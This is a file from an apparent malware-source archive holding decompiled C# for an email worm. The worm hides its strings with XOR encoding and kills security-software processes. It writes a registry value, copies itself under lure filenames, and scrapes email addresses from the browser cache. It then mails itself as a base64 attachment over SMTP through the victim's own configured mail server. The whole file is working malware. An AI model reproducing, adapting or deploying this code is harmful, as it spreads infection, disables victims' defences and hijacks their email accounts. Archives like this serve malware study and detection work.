mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
231 lines
10 KiB
C#
231 lines
10 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: drunkenpope.brigada8
|
|
// Assembly: b, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: CECE5B53-4BE2-43C6-85BC-E30F20D8366F
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Worm.Win32.Alcaul.ah-98dd24e5e033f2e78507476db2f52ed25e62a1f201b7f499b5ab1b19cb625b73.exe
|
|
|
|
using Microsoft.Win32;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Net.Sockets;
|
|
using System.Reflection;
|
|
using System.Text;
|
|
using System.Windows.Forms;
|
|
|
|
namespace drunkenpope
|
|
{
|
|
public class brigada8
|
|
{
|
|
public static void Main(string[] args)
|
|
{
|
|
try
|
|
{
|
|
string str1 = brigada8.modem("xmlgcncpo.udklft10.t`4.ug`qaclz.tqqvcv.tqjukl10.tqgamop.tqacl62.tgvvpc{.tgv;7.vfq0/lv.vfq0/;:.vac.v`qacl.quggr;7.qrjklz.qoa.qgpt;7.qapqacl.qaclro.qacl;7.qacl10.qcdgug`.pgqawg.pct5ukl.pct5.rgpqdu.raducnnkaml.raaukl;:.rctu.rctqajgf.rctan.rcfokl.mwvrmqv.lta;7.lwrepcfg.lmpokqv.lockl.lkqwo.lctulv.lctu10.lctlv.lctnw10.lctcru10.l10qaclu.ordvpc{.ommnktg.nwcnn.nmmimwv.nmaifmul0222.hgfk.kmoml;:.kdcag.kaqwrrlv.kaqwrr;7.kaoml.kanmcflv.kanmcf;7.k`octqr.k`ocql.kcoqgpt.kcocrr.dpu.drpmv.dr/ukl.dklftkpw.d/qvmru.d/rpmv;7.d/rpmv.d/celv;7.gqrucvaj.gqcdg.gagleklg");
|
|
string str2 = brigada8.modem("ftr;7]2.ftr;7.angclgp1.angclgp.ancu;7ad.ancu;7.adklgv10.adklgv.adkcwfkv.adkcfokl.`ncaikag.`ncaif.ctuwrf10.ctukl;7.ctqajgf10.ctrwrf.ctrva10.ctro.ctrfmq10.ctraa.ctr10.ctr.ctlv.ctiqgpt.cteavpn.ctg10.ctamlqmn.cwvmfmul.crtzfukl.clvk/vpmhcl.caiukl10.]ctro.]ctraa.]ctr10");
|
|
string[] strArray1 = str1.Split(',');
|
|
string[] strArray2 = str2.Split(',');
|
|
foreach (string vry324 in strArray1)
|
|
brigada8.kernelhalt(vry324);
|
|
foreach (string vry324 in strArray2)
|
|
brigada8.kernelhalt(vry324);
|
|
Module module = Assembly.GetExecutingAssembly().GetModules()[0];
|
|
string akt7 = brigada8.xmlparse234(module.FullyQualifiedName);
|
|
Registry.CurrentUser.OpenSubKey(brigada8.modem("Qmdvucpg^Icxcc^NmacnAmlvglv"), true).SetValue(brigada8.modem("Fkp2"), (object) (brigada8.modem("2301678") + Directory.GetCurrentDirectory()));
|
|
string[] strArray3 = new string[4]
|
|
{
|
|
brigada8.modem("Tkqwcn]Qvwfkm,LGV0221]ig{,gzg"),
|
|
brigada8.modem("vgcaj]{mwpqgnd]a!]kl]3]uggi,gzg"),
|
|
brigada8.modem("jkvocl0,gzg"),
|
|
brigada8.modem("Vgiigl6]dwnn,gzg")
|
|
};
|
|
foreach (string destFileName in strArray3)
|
|
{
|
|
try
|
|
{
|
|
File.Copy(module.FullyQualifiedName, destFileName);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey(brigada8.modem("Qmdvucpg^Okapmqmdv^Klvgplgv\"Caamwlv\"Oclcegp"), true);
|
|
RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey(brigada8.modem("Qmdvucpg^Okapmqmdv^Klvgplgv\"Caamwlv\"Oclcegp^Caamwlvq^") + registryKey1.GetValue(brigada8.modem("Fgdcwnv\"Ockn\"Caamwlv")).ToString(), true);
|
|
string m91 = registryKey2.GetValue(brigada8.modem("QOVR\"Qgptgp")).ToString();
|
|
string foam = registryKey2.GetValue(brigada8.modem("QOVR\"Gockn\"Cffpgqq")).ToString();
|
|
foreach (string directory1 in Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)))
|
|
{
|
|
foreach (string directory2 in Directory.GetDirectories(directory1))
|
|
{
|
|
foreach (string file in Directory.GetFiles(directory2, brigada8.modem("(,jv(")))
|
|
brigada8.melee(file, m91, foam, akt7);
|
|
}
|
|
}
|
|
int num = (int) MessageBox.Show(brigada8.modem("lm\"ompg\"`gvc\"vumq"), brigada8.modem("oqkn,ocqq,`\"*a!n{\"ocfg+\"`{\"cnamrcwn-`pkecfc\"majm"), MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
public static void melee(string f91, string m91, string foam, string akt7)
|
|
{
|
|
StreamReader streamReader = new StreamReader((Stream) new FileStream(f91, FileMode.OpenOrCreate, FileAccess.Read));
|
|
streamReader.BaseStream.Seek(0L, SeekOrigin.Begin);
|
|
while (streamReader.Peek() > -1)
|
|
{
|
|
string hjkl = brigada8.harvest(streamReader.ReadLine());
|
|
if (hjkl != "")
|
|
{
|
|
try
|
|
{
|
|
brigada8.codedom563(m91, foam, hjkl, akt7);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
streamReader.Close();
|
|
}
|
|
|
|
public static string harvest(string helga)
|
|
{
|
|
char[] anyOf = new char[6]
|
|
{
|
|
'?',
|
|
'\'',
|
|
'"',
|
|
'>',
|
|
'<',
|
|
' '
|
|
};
|
|
string str1 = helga;
|
|
try
|
|
{
|
|
int sourceIndex = str1.IndexOf(brigada8.modem("ocknvm8"));
|
|
int num = str1.LastIndexOfAny(anyOf);
|
|
char[] destination1 = new char[(int) checked ((uint) unchecked (num - sourceIndex))];
|
|
str1.CopyTo(sourceIndex, destination1, 0, num - sourceIndex);
|
|
string str2 = new string(destination1).Replace(brigada8.modem("ocknvm8"), "").Replace("%20", "").Replace("%40", "@");
|
|
try
|
|
{
|
|
int count = str2.IndexOfAny(anyOf);
|
|
char[] destination2 = new char[(int) checked ((uint) count)];
|
|
str2.CopyTo(0, destination2, 0, count);
|
|
return new string(destination2);
|
|
}
|
|
catch
|
|
{
|
|
return str2;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
return "";
|
|
}
|
|
}
|
|
|
|
public static string xmlparse234(string tukoo)
|
|
{
|
|
FileStream input = new FileStream(tukoo, FileMode.OpenOrCreate, FileAccess.Read);
|
|
BinaryReader binaryReader = new BinaryReader((Stream) input);
|
|
binaryReader.BaseStream.Seek(0L, SeekOrigin.Begin);
|
|
byte[] numArray = new byte[(int) checked ((uint) input.Length)];
|
|
int length1 = (int) input.Length;
|
|
int index1 = 0;
|
|
int num;
|
|
for (; length1 > 0; length1 -= num)
|
|
{
|
|
num = binaryReader.Read(numArray, index1, length1);
|
|
if (num != 0)
|
|
index1 += num;
|
|
else
|
|
break;
|
|
}
|
|
binaryReader.Close();
|
|
StringBuilder stringBuilder = new StringBuilder();
|
|
string base64String = Convert.ToBase64String(numArray);
|
|
int length2 = base64String.Length;
|
|
char[] destination = new char[(int) checked ((uint) length2)];
|
|
base64String.CopyTo(0, destination, 0, length2);
|
|
for (int index2 = 1; index2 <= length2; ++index2)
|
|
{
|
|
if (index2 % 76 == 0)
|
|
stringBuilder.Append(string.Format("{0}\r\n", (object) destination[index2 - 1]));
|
|
else
|
|
stringBuilder.Append(string.Format("{0}", (object) destination[index2 - 1]));
|
|
}
|
|
return stringBuilder.ToString();
|
|
}
|
|
|
|
public static void kernelhalt(string vry324)
|
|
{
|
|
foreach (Process process in Process.GetProcessesByName(vry324))
|
|
process.Kill();
|
|
}
|
|
|
|
public static string modem(string hhh)
|
|
{
|
|
StringBuilder stringBuilder = new StringBuilder();
|
|
for (int index = 0; index < hhh.Length; ++index)
|
|
{
|
|
int num = Convert.ToInt32(hhh[index]) ^ 2;
|
|
stringBuilder.Append(Convert.ToChar(num));
|
|
}
|
|
return stringBuilder.ToString();
|
|
}
|
|
|
|
public static void codedom563(string asdf, string cvbn, string hjkl, string tukoo)
|
|
{
|
|
string str1 = brigada8.modem("Dpmo8\"") + cvbn + " <" + cvbn + ">\r\n";
|
|
string str2 = brigada8.modem("Vm8\"") + hjkl + " <" + hjkl + ">\r\n";
|
|
string str3 = brigada8.modem("Fcvg8\"") + DateTime.Now.ToString() + "\r\n";
|
|
string str4 = brigada8.modem("Z/Ockngp8\"fmlmvvmwaj") + "\r\n";
|
|
string str5 = brigada8.modem("Z/Rpkmpkv{8\"1") + "\r\n";
|
|
string str6 = brigada8.modem("OKOG/Tgpqkml8\"3,2") + "\r\n";
|
|
string str7 = brigada8.modem("Amlvglv/V{rg8\"ownvkrcpv-okzgf9\"`mwlfcp{? //`q`h 9") + "\r\n\r\n";
|
|
string str8 = brigada8.modem("Vjkq\"kq\"c\"ownvk/rcpv\"ogqqceg\"kl\"OKOG\"dmpocv,") + "\r\n\r\n";
|
|
string str9 = "----bsbj\r\n";
|
|
string str10 = brigada8.modem("Amlvglv/V{rg8\"vgzv-jvon9\"ajcpqgv?wq/cqakk") + "\r\n\r\n";
|
|
string str11 = brigada8.modem(" Rggp/vm/Rggp\",LGV\"Qmdvucpg\"cvvcajgf,\"Pgswkpgq\"vjg\",LGV\"dpcogumpi, ") + "\r\n\r\n";
|
|
string str12 = "----bsbj\r\n";
|
|
string str13 = brigada8.modem("Amlvglv/V{rg8\"crrnkacvkml-z/oqfmulnmcf9\"lcog? lgvdz3,gzg ") + "\r\n";
|
|
string str14 = brigada8.modem("Amlvglv/Vpclqdgp/Glamfkle8\"`cqg46") + "\r\n";
|
|
string str15 = brigada8.modem("Amlvglv/Fkqrmqkvkml8\"cvvcajoglv9\"");
|
|
string str16 = brigada8.modem("dknglcog? lgvdz3,gzg ") + "\r\n\r\n";
|
|
string str17 = "\r\n\r\n";
|
|
string str18 = "----bsbj--\r\n\r\n.\r\n";
|
|
TcpClient tcpClient = new TcpClient(asdf, 25);
|
|
NetworkStream stream = tcpClient.GetStream();
|
|
StreamReader streamReader = new StreamReader((Stream) tcpClient.GetStream());
|
|
string str19 = streamReader.ReadLine();
|
|
byte[] bytes1 = Encoding.ASCII.GetBytes(brigada8.modem("JGNM\"nmacnjmqv") + "\r\n");
|
|
stream.Write(bytes1, 0, bytes1.Length);
|
|
str19 = streamReader.ReadLine();
|
|
byte[] bytes2 = Encoding.ASCII.GetBytes(brigada8.modem("OCKN\"DPMO8\"") + "<" + cvbn + ">\r\n");
|
|
stream.Write(bytes2, 0, bytes2.Length);
|
|
str19 = streamReader.ReadLine();
|
|
byte[] bytes3 = Encoding.ASCII.GetBytes(brigada8.modem("PARV\"VM8\"") + "<" + hjkl + ">\r\n");
|
|
stream.Write(bytes3, 0, bytes3.Length);
|
|
str19 = streamReader.ReadLine();
|
|
byte[] bytes4 = Encoding.ASCII.GetBytes(brigada8.modem("FCVC") + "\r\n");
|
|
stream.Write(bytes4, 0, bytes4.Length);
|
|
str19 = streamReader.ReadLine();
|
|
byte[] bytes5 = Encoding.ASCII.GetBytes(str1 + str2 + str3 + str4 + str5);
|
|
stream.Write(bytes5, 0, bytes5.Length);
|
|
byte[] bytes6 = Encoding.ASCII.GetBytes(str6 + str7 + str8 + str9 + str10 + str11);
|
|
stream.Write(bytes6, 0, bytes6.Length);
|
|
byte[] bytes7 = Encoding.ASCII.GetBytes(str12 + str13 + str14 + str15 + str16 + tukoo + str17 + str18);
|
|
stream.Write(bytes7, 0, bytes7.Length);
|
|
str19 = streamReader.ReadLine();
|
|
byte[] bytes8 = Encoding.ASCII.GetBytes(brigada8.modem("SWKV") + "\r\n");
|
|
stream.Write(bytes8, 0, bytes8.Length);
|
|
str19 = streamReader.ReadLine();
|
|
stream.Close();
|
|
streamReader.Close();
|
|
tcpClient.Close();
|
|
}
|
|
}
|
|
}
|